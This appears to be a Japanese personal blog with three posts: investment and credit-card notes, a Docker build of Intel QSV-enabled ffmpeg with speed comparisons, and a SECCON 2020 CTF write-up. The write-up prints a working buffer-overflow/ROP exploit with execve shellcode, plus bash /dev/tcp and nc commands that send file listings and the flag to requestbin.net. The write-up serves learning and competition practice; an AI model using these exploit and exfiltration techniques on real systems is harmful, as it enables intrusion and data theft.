2021年いっぱいで NISA の期間が終わる.ロールオーバーすべきか悩ましい.積立 NISA が 2017年からあれば悩まずに済んだのに‥,
また120万の投資は今のままとして来年からは S&P 500 とか追加で買っていくことを検討中.

おまけ

2018年8月より JCB の修行をしていたのですが,ようやく JCB THE CLASS の招待がきてゲットできました.
可能な範囲でほとんどの決済を寄せてました.現金支払比率は15%もなかった.QUICPay 便利.
属性は色々と個人情報がつらいの勘弁してください.

f:id:yharima:20201231132508j:plain

f:id:yharima:20201231132521j:plain

取得までの流れ

  • 2018年
    • 7月末にプラチナで申し込むも否決.ゴールド発行(それ以前の JCB カード歴無し).
    • 2018年の決済額108万
  • 2019年
    • 2019年の決済額313万
  • 2020年
    • 2月にゴールド・ザ・プレミアに切り替え
    • 2020年11月末時点で決済額203万
    • 11/30: インビ着弾・即日返送
    • 12/04: 22時くらいに MyJCB ログインエラー.23時半くらいに切り替え完了.
    • 12/10: カード着弾

Docker で QSV 対応 ffmpeg のビルド on Ubuntu 20.04 LTS

Docker で QSV 対応 ffmpeg のビルド on Ubuntu 20.04 LTS

はじめに

なぜか年末になると ffmpeg ビルド芸をしている(2年連続2度目)のですが,今年は QSV 対応のビルドにチャレンジしてみた.
最近は身内の Discord でこういう話を垂れ流していてろくにブログを書いてなかったんだけど,ググってもあんまりヒットしなかったので書いておく.

なお,去年の成果物は以下.やたら static build に拘ったがなんの意味があったのかはよくわからない.ここで試行錯誤したことが少し仕事に活きたのでそれで良かったことにしよう.今そう気持ちの整理をした().

github.com

QSV

説明不要だと思いますが Intel Quick Sync Video のことで,ハードウェア支援を利用して動画のエンコード・デコードを行う仕組み.
動画のエンコードは CPU でぶん回すことが多いんですが, CPU がしょっぱいとそんなに速度がでないけど QSV を使うと早くなる.具体的な速度比較はのちほど(CPU のみのエンコードと比較すると多少画質や圧縮率の劣化がある).
サーバ用途に新しい NUC を買ったことで古い NUC が不要になったので退役させて転用することにした(ESXi の USB パススルーでとあるデバイスがうまく動作しないので実機化したかったという裏事情もある).

ハードウェア

今回使ったのは以下のほぼ5年前にサーバにした NUC5i5RYH で CPU は i5-5250U の Broadwell になる.

yuta1024.hateblo.jp

CPU の世代でサポートされているフォーマットの範囲が異なるので非常にややこしい.
今回の Broadwell は h.264エンコードはサポートしているのでそちらを利用した.本当は hevc にしたいんだけど Skylake 以降じゃないと無理なので諦め.

ffmpeg のビルド

今回使った OS は Ubuntu 20.04 LTS で,理由は各種パッケージが揃っていて ffmpeg のビルドだけで済むから.あと最近はなんでもコンテナに押し込んでホストマシンは Docker 入れればオッケーみたいな脳死をしているのでコンテナで ffmpeg をビルドして,利用もコンテナから行う.

というわけでさっそく Dockerfile が以下.ビルド時に FFMPEG_VERSION を build-arg として渡す必要がある.現時点で最新タグの n4.3.1 をビルドする場合は sudo docker build --build-arg FFMPEG_VERSION=n4.3.1 . -t ffmpeg みたいな感じ.

FROM ubuntu:focal
ARG FFMPEG_VERSION
ENV DEBIAN_FRONTEND=noninteractive

WORKDIR /opt/ffmpeg
RUN set -x && \
    apt-get update && \
    apt-get install -y \
      git make g++ yasm \
      libfdk-aac-dev libva-dev libmfx-dev intel-media-va-driver-non-free && \
    git clone https://github.com/FFmpeg/FFmpeg --depth=1 -b $FFMPEG_VERSION . && \
    ./configure \
      --disable-ffplay \
      --disable-debug \
      --disable-doc \
      --enable-libmfx && \
    make -j $(grep cpu.cores /proc/cpuinfo | sort -u | sed 's/[^0-9]//g')

ほとんど何も enable になっていないので,この ffmpegh264_qsv 以外で利用したらほぼ死ぬ.オーディオも copy 推奨.

いくつかはまったポイントが以下.

  • ENV DEBIAN_FRONTEND=noninteractive は依存で入る tzdata がビルド中に timezone を指定しろと言ってくるのを回避するために必要.
  • --enable-libmfx ためになぜか libfdk-aac-dev が必要.ないと libmfx が not found になる.

コンテナから QSV 対応の ffmpeg の利用

上記をマルチステージビルドしてバイナリだけもってくる場合でも以下のパッケージは必要となる.

  • libva2
  • libva-drm2
  • intel-media-va-driver-non-free
  • libmfx1
  • libva-x11-2

また QSV を利用する場合は /dev/dri をコンテナ側にデバイスとして渡してあげる必要がある.以下のような感じで run する(実際はエンコードしたいファイルがあるホスト側のどっかをマウントとかしないとだめだけど).

$ sudo docker run --rm -it --device=/dev/dri ffmepg bash

適当にあった動画をエンコードしてみた結果が以下.

h264_qsv

$ ffmpeg -i <input> -c:v h264_qsv -q:v 23 -c:a copy <output>
(snip)
frame= 4477 fps=222 q=30.0 Lsize=  105735kB time=00:02:29.37 bitrate=5798.7kbits/s speed= 7.4x
video:103283kB audio:2286kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.157409%

h264(QSV なし)

ffmpeg は apt-get で入れたもので独自ビルドではない.)

$ ffmpeg -i <input> -c:v h264 -q:v 23 -c:a copy <output>
(snip)
frame= 4477 fps= 25 q=-1.0 Lsize=   80439kB time=00:02:29.37 bitrate=4411.4kbits/s speed=0.83x
video:77992kB audio:2286kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.200254%

同じビルドの ffmpeg ではないので厳密な比較にはならないが,エンコード速度は8倍以上の差がついた.一方で容量は 32% ほど大きくなった.

まとめ

大体自分の環境では8倍くらい早くなって満足. public にしたかったんだけど他のファイルとの兼ね合いで現状 private repo に.submodule で読めるようにしておけば良かった.気が向けば. もう来年は ffmpeg ビルド芸したくないけどベースイメージは debian にしたいので, debian でパッケージが揃ってたらワンちゃん….

おまけ

ビルドした ffmpeg-encoders を実行した結果.

# ffmpeg -encoders
ffmpeg version n4.3.1 Copyright (c) 2000-2020 the FFmpeg developers
  built with gcc 9 (Ubuntu 9.3.0-17ubuntu1~20.04)
  configuration: --disable-ffplay --disable-debug --disable-doc --enable-libmfx
  libavutil      56. 51.100 / 56. 51.100
  libavcodec     58. 91.100 / 58. 91.100
  libavformat    58. 45.100 / 58. 45.100
  libavdevice    58. 10.100 / 58. 10.100
  libavfilter     7. 85.100 /  7. 85.100
  libswscale      5.  7.100 /  5.  7.100
  libswresample   3.  7.100 /  3.  7.100
Encoders:
 V..... = Video
 A..... = Audio
 S..... = Subtitle
 .F.... = Frame-level multithreading
 ..S... = Slice-level multithreading
 ...X.. = Codec is experimental
 ....B. = Supports draw_horiz_band
 .....D = Supports direct rendering method 1
 ------
 V..... a64multi             Multicolor charset for Commodore 64 (codec a64_multi)
 V..... a64multi5            Multicolor charset for Commodore 64, extended with 5th color (colram) (codec a64_multi5)
 V..... alias_pix            Alias/Wavefront PIX image
 V..... amv                  AMV Video
 V..... asv1                 ASUS V1
 V..... asv2                 ASUS V2
 V..... avrp                 Avid 1:1 10-bit RGB Packer
 V..X.. avui                 Avid Meridien Uncompressed
 V..... ayuv                 Uncompressed packed MS 4:4:4:4
 V..... bmp                  BMP (Windows and OS/2 bitmap)
 V..... cinepak              Cinepak
 V..... cljr                 Cirrus Logic AccuPak
 V.S... vc2                  SMPTE VC-2 (codec dirac)
 VFS... dnxhd                VC3/DNxHD
 V..... dpx                  DPX (Digital Picture Exchange) image
 VFS... dvvideo              DV (Digital Video)
 V.S... ffv1                 FFmpeg video codec #1
 VF.... ffvhuff              Huffyuv FFmpeg variant
 V..... fits                 Flexible Image Transport System
 V..... flv                  FLV / Sorenson Spark / Sorenson H.263 (Flash Video) (codec flv1)
 V..... gif                  GIF (Graphics Interchange Format)
 V..... h261                 H.261
 V..... h263                 H.263 / H.263-1996
 V..... h263_v4l2m2m         V4L2 mem2mem H.263 encoder wrapper (codec h263)
 V.S... h263p                H.263+ / H.263-1998 / H.263 version 2
 V..... h264_qsv             H.264 / AVC / MPEG-4 AVC / MPEG-4 part 10 (Intel Quick Sync Video acceleration) (codec h264)
 V..... h264_v4l2m2m         V4L2 mem2mem H.264 encoder wrapper (codec h264)
 V..... h264_vaapi           H.264/AVC (VAAPI) (codec h264)
 V..... hevc_qsv             HEVC (Intel Quick Sync Video acceleration) (codec hevc)
 V..... hevc_v4l2m2m         V4L2 mem2mem HEVC encoder wrapper (codec hevc)
 V..... hevc_vaapi           H.265/HEVC (VAAPI) (codec hevc)
 VF.... huffyuv              Huffyuv / HuffYUV
 V..... jpeg2000             JPEG 2000
 VF.... jpegls               JPEG-LS
 VF.... ljpeg                Lossless JPEG
 VF.... magicyuv             MagicYUV video
 VFS... mjpeg                MJPEG (Motion JPEG)
 V..... mjpeg_qsv            MJPEG (Intel Quick Sync Video acceleration) (codec mjpeg)
 V..... mjpeg_vaapi          MJPEG (VAAPI) (codec mjpeg)
 V.S... mpeg1video           MPEG-1 video
 V.S... mpeg2video           MPEG-2 video
 V..... mpeg2_qsv            MPEG-2 video (Intel Quick Sync Video acceleration) (codec mpeg2video)
 V..... mpeg2_vaapi          MPEG-2 (VAAPI) (codec mpeg2video)
 V.S... mpeg4                MPEG-4 part 2
 V..... mpeg4_v4l2m2m        V4L2 mem2mem MPEG4 encoder wrapper (codec mpeg4)
 V..... msmpeg4v2            MPEG-4 part 2 Microsoft variant version 2
 V..... msmpeg4              MPEG-4 part 2 Microsoft variant version 3 (codec msmpeg4v3)
 V..... msvideo1             Microsoft Video-1
 V..... pam                  PAM (Portable AnyMap) image
 V..... pbm                  PBM (Portable BitMap) image
 V..... pcx                  PC Paintbrush PCX image
 V..... pgm                  PGM (Portable GrayMap) image
 V..... pgmyuv               PGMYUV (Portable GrayMap YUV) image
 V..... ppm                  PPM (Portable PixelMap) image
 VF.... prores               Apple ProRes
 VF.... prores_aw            Apple ProRes (codec prores)
 VFS... prores_ks            Apple ProRes (iCodec Pro) (codec prores)
 V..... qtrle                QuickTime Animation (RLE) video
 V..... r10k                 AJA Kona 10-bit RGB Codec
 V..... r210                 Uncompressed RGB 10-bit
 V..... rawvideo             raw video
 V..... roqvideo             id RoQ video (codec roq)
 V..... rv10                 RealVideo 1.0
 V..... rv20                 RealVideo 2.0
 V..... sgi                  SGI image
 V..... snow                 Snow
 V..... sunrast              Sun Rasterfile image
 V..... svq1                 Sorenson Vector Quantizer 1 / Sorenson Video 1 / SVQ1
 V..... targa                Truevision Targa image
 VF.... tiff                 TIFF image
 VF.... utvideo              Ut Video
 V..... v210                 Uncompressed 4:2:2 10-bit
 V..... v308                 Uncompressed packed 4:4:4
 V..... v408                 Uncompressed packed QT 4:4:4:4
 V..... v410                 Uncompressed 4:4:4 10-bit
 V..... vp8_v4l2m2m          V4L2 mem2mem VP8 encoder wrapper (codec vp8)
 V..... vp8_vaapi            VP8 (VAAPI) (codec vp8)
 V..... vp9_vaapi            VP9 (VAAPI) (codec vp9)
 V..... vp9_qsv              VP9 video (Intel Quick Sync Video acceleration) (codec vp9)
 V..... wmv1                 Windows Media Video 7
 V..... wmv2                 Windows Media Video 8
 V..... wrapped_avframe      AVFrame to AVPacket passthrough
 V..... xbm                  XBM (X BitMap) image
 V..... xface                X-face image
 V..... xwd                  XWD (X Window Dump) image
 V..... y41p                 Uncompressed YUV 4:1:1 12-bit
 V..... yuv4                 Uncompressed packed 4:2:0
 A..... aac                  AAC (Advanced Audio Coding)
 A..... ac3                  ATSC A/52A (AC-3)
 A..... ac3_fixed            ATSC A/52A (AC-3) (codec ac3)
 A..... adpcm_adx            SEGA CRI ADX ADPCM
 A..... g722                 G.722 ADPCM (codec adpcm_g722)
 A..... g726                 G.726 ADPCM (codec adpcm_g726)
 A..... g726le               G.726 little endian ADPCM ("right-justified") (codec adpcm_g726le)
 A..... adpcm_ima_qt         ADPCM IMA QuickTime
 A..... adpcm_ima_ssi        ADPCM IMA Simon & Schuster Interactive
 A..... adpcm_ima_wav        ADPCM IMA WAV
 A..... adpcm_ms             ADPCM Microsoft
 A..... adpcm_swf            ADPCM Shockwave Flash
 A..... adpcm_yamaha         ADPCM Yamaha
 A..... alac                 ALAC (Apple Lossless Audio Codec)
 A..... aptx                 aptX (Audio Processing Technology for Bluetooth)
 A..... aptx_hd              aptX HD (Audio Processing Technology for Bluetooth)
 A..... comfortnoise         RFC 3389 comfort noise generator
 A..X.. dca                  DCA (DTS Coherent Acoustics) (codec dts)
 A..... eac3                 ATSC A/52 E-AC-3
 A..... flac                 FLAC (Free Lossless Audio Codec)
 A..... g723_1               G.723.1
 A..X.. mlp                  MLP (Meridian Lossless Packing)
 A..... mp2                  MP2 (MPEG audio layer 2)
 A..... mp2fixed             MP2 fixed point (MPEG audio layer 2) (codec mp2)
 A..... nellymoser           Nellymoser Asao
 A..X.. opus                 Opus
 A..... pcm_alaw             PCM A-law / G.711 A-law
 A..... pcm_dvd              PCM signed 16|20|24-bit big-endian for DVD media
 A..... pcm_f32be            PCM 32-bit floating point big-endian
 A..... pcm_f32le            PCM 32-bit floating point little-endian
 A..... pcm_f64be            PCM 64-bit floating point big-endian
 A..... pcm_f64le            PCM 64-bit floating point little-endian
 A..... pcm_mulaw            PCM mu-law / G.711 mu-law
 A..... pcm_s16be            PCM signed 16-bit big-endian
 A..... pcm_s16be_planar     PCM signed 16-bit big-endian planar
 A..... pcm_s16le            PCM signed 16-bit little-endian
 A..... pcm_s16le_planar     PCM signed 16-bit little-endian planar
 A..... pcm_s24be            PCM signed 24-bit big-endian
 A..... pcm_s24daud          PCM D-Cinema audio signed 24-bit
 A..... pcm_s24le            PCM signed 24-bit little-endian
 A..... pcm_s24le_planar     PCM signed 24-bit little-endian planar
 A..... pcm_s32be            PCM signed 32-bit big-endian
 A..... pcm_s32le            PCM signed 32-bit little-endian
 A..... pcm_s32le_planar     PCM signed 32-bit little-endian planar
 A..... pcm_s64be            PCM signed 64-bit big-endian
 A..... pcm_s64le            PCM signed 64-bit little-endian
 A..... pcm_s8               PCM signed 8-bit
 A..... pcm_s8_planar        PCM signed 8-bit planar
 A..... pcm_u16be            PCM unsigned 16-bit big-endian
 A..... pcm_u16le            PCM unsigned 16-bit little-endian
 A..... pcm_u24be            PCM unsigned 24-bit big-endian
 A..... pcm_u24le            PCM unsigned 24-bit little-endian
 A..... pcm_u32be            PCM unsigned 32-bit big-endian
 A..... pcm_u32le            PCM unsigned 32-bit little-endian
 A..... pcm_u8               PCM unsigned 8-bit
 A..... pcm_vidc             PCM Archimedes VIDC
 A..... real_144             RealAudio 1.0 (14.4K) (codec ra_144)
 A..... roq_dpcm             id RoQ DPCM
 A..X.. s302m                SMPTE 302M
 A..... sbc                  SBC (low-complexity subband codec)
 A..X.. sonic                Sonic
 A..X.. sonicls              Sonic lossless
 A..X.. truehd               TrueHD
 A..... tta                  TTA (True Audio)
 A..X.. vorbis               Vorbis
 A..... wavpack              WavPack
 A..... wmav1                Windows Media Audio 1
 A..... wmav2                Windows Media Audio 2
 S..... ssa                  ASS (Advanced SubStation Alpha) subtitle (codec ass)
 S..... ass                  ASS (Advanced SubStation Alpha) subtitle
 S..... dvbsub               DVB subtitles (codec dvb_subtitle)
 S..... dvdsub               DVD subtitles (codec dvd_subtitle)
 S..... mov_text             3GPP Timed Text subtitle
 S..... srt                  SubRip subtitle (codec subrip)
 S..... subrip               SubRip subtitle
 S..... text                 Raw text subtitle
 S..... webvtt               WebVTT subtitle
 S..... xsub                 DivX subtitles (XSUB)

SECCON 2020 OnlineCTF writeup

SECCON 2020 OnlineCTF writeup

yharima チームで参加.今回は人が集まらず3人.
631pts で 47th でした.自分は WelcomeSurvey 除くと実質1問しか解けなかった.

ソース: https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2020_Online

f:id:yharima:20201011174123p:plain

[pwn] pwarmup

「warmp なのでソースコードも付いていてとても簡単そう!」…そう思っていた時期が俺にもありました.長くなるので,ステージを分けます.

Stage 1: シェルを奪うまで

実質これだけ.

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

露骨に BOF があるので EIP は簡単に奪える.でも stdout/stderr と出力系が close されている.
そのため, libc を leak して one-gadget などはできなさそう.

セキュリティ機構をみると,全部 disable でスタック上も実行できることがわかる.このあたりが攻略の手がかりそうと判断.

$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

スタック上にシェルコードを積んで,そこに EIP を飛ばす方針としつつ,使えそうな ROP gadget の探索する.

$ rp++ -f chall -r 1 | grep rdi
0x004007e3: pop rdi ; ret  ;  (1 found)
$ rp++ -f chall -r 2 | grep rsi
0x004007c3: mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8] ;  (1 found)
0x004007e1: pop rsi ; pop r15 ; ret  ;  (1 found)

rdirsi も popgadget がある(rsir15 もついてくるけど無視すれば OK),

ASLR 有効のため, stack 上のアドレスを特定したいが出力系は閉じられているので別の方向から攻めるしかなさそう. Return-to-register でなんとかならないかと思い色々 gadget を探索していると以下があった.

$ rp++ -f ~/chall -r 1 | grep rax
(snip)
0x00400560: call rax ;  (1 found)
(snip)

これを使えば rax に実行したいシェルコードを積んで, EIP を飛ばしてあげればシェルがとれそうであることがわかる. 流れとしては,

  1. BOF する
  2. ROP して bss に実行したいシェルコードを置く.(scanf@plt を利用)
  3. rax に bss をセットして call rax する

ここで,問題となるのは pop rax がないこと.ただ,rax に任意の値を入れるのは alarm を2回呼ぶテクニックが使える.
alarm(x) => alarm(0) と2回呼ぶと,2回目の実行で rax に x が代入される.man を引くとどういう仕組かわかる.

RETURN VALUE
       alarm() returns the number of seconds remaining until any previously scheduled  alarm  was
       due to be delivered, or zero if there was no previously scheduled alarm.

alarm は呼び出すと,すでに alarm が呼ばれている場合に残り時間が返る.なので連続して呼び出すとほぼ確実に最初に設定した値が返ってくる(処理が遅いとずれる可能性はあるが,現代においてはありえなさそう).

あとは上記の方針で ROP gadget を組めば,シェルが立ち上がる.
注意として payload は scanf で読むため isspace 判定されるもの(ex. 0x0b など?)があるとちょん切られるので気をつける,

from pwn import *

context.arch = 'amd64'

con = remote('pwn-neko.chal.seccon.jp', 9001)

bss = 0x600e00
poprdi = 0x4007e3
poprsi = 0x4007e1
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

con.recvregex('Welcome to Pwn Warmup!\n')

payload = 'A' * 32
payload += pack(bss)

payload += pack(poprdi)
payload += pack(0x40081b)
payload += pack(poprsi)
payload += pack(bss)
payload += pack(0)
payload += pack(0x4005c0) # scanf@plt

payload += pack(poprdi)
payload += pack(bss)
payload += pack(0x4005a0) # alarm@plt

payload += pack(poprdi)
payload += pack(0)
payload += pack(0x4005a0) # alarm@plt

payload += pack(0x400560) # call rax

con.sendline(payload)
con.sendline(shellcode)

con.interactive()

Stage2: 閉じられた stdout

シェルも取れたのであとは, ls して cat すれが終わり,と思ったら何も出力されない.
そりゃそうだ… stdout も stderr も閉じられてるんだから…
ここから地獄のような戦いが始まった.

まず最初に ls -l | nc <ip_addr> <port> することを思いつく.ローカルでは問題なく動作したので, nc さえ入ってれば…と思ってやるも駄目.

色々ググったりしていると /dev/pts/* を open することで stdout が復活するという情報を得る.
頑張ってシェルコードを書いてローカルで流してみると,何故か別の窓で SSH しているターミナルに ls 結果とかが流れてきて草生えた.
その後も,色々シェルコードをいじるも上記問題が解決できず眠くなってきたので一旦寝た.

起きて,再度上のシェルコードを弄るものの改善せず,この方針は駄目そうだと判断.
ls などの結果を pipe して別のどっかに飛ばす,という方針で他の方法がないか色々検索する.

色々調べてみると, bash の場合に /dev/tcp/${host}/${port} に書き込めば, nc 方針と同様のことができることがわかる.
シェルコードでは sh で立ち上げてるので bash がなければ成り立たない.シェルを上げた後 bash を実行して exit した際の挙動で bash が存在するかを確認する.
exit が2回必要であれば, bash が立ち上がっているので存在すると判断できる.一方で1回で exit してしまったら bash はない.祈りながらやってみると‥

% python pwarmup.py
[+] Opening connection to pwn-neko.chal.seccon.jp on port 9001: Done
[*] Switching to interactive mode
$ bash
$ exit
$ exit
[*] Got EOF while reading in interactive

これはきた!
でもこの時点で14時くらいで焦りながらぐぐり requestbin を利用してリークしていく.

まず, ls 結果を知る(requestbin は Cloudflare を使っていて Host ヘッダがないと 400 になるので注意).

$ bash
$ exec 3<> /dev/tcp/requestbin.net/80
$ echo -e "GET /r/(snip) HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(ls|base64)\r\nConnection: close\r\n\r\n" >&3
$ cat <&3

結果は以下.

f:id:yharima:20201011182325p:plain

X-CTF に含まれたものをデコードすると,

% echo 'Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK' | base64 -d
chall
flag-e6951df0400add6a6b5be11f25b80cea.txt
redir.sh

同じ方法でフラグを cat すればいい.

$ bash
$ exec 3<> /dev/tcp/requestbin.net/80
$ echo -e "GET /r/(snip) HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3
$ cat <&3

結果は以下.

f:id:yharima:20201011182611p:plain

というわけで, SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up} が得られた.
warmup(10時間)を終えた.14:40 くらいでほんとギリギリだったけど解けて本当に良かった.

まとめ

メンバーが web 2問解いてくれたので結構いい順位だった.一人は座ってただけらしいけど(自分も人権なしの瀬戸際だったので人のことは言えない).
本戦なくてやっぱり寂しいですね….そして全然 CTF してなくてなまりまくってることもわかりました.来年も頑張ります.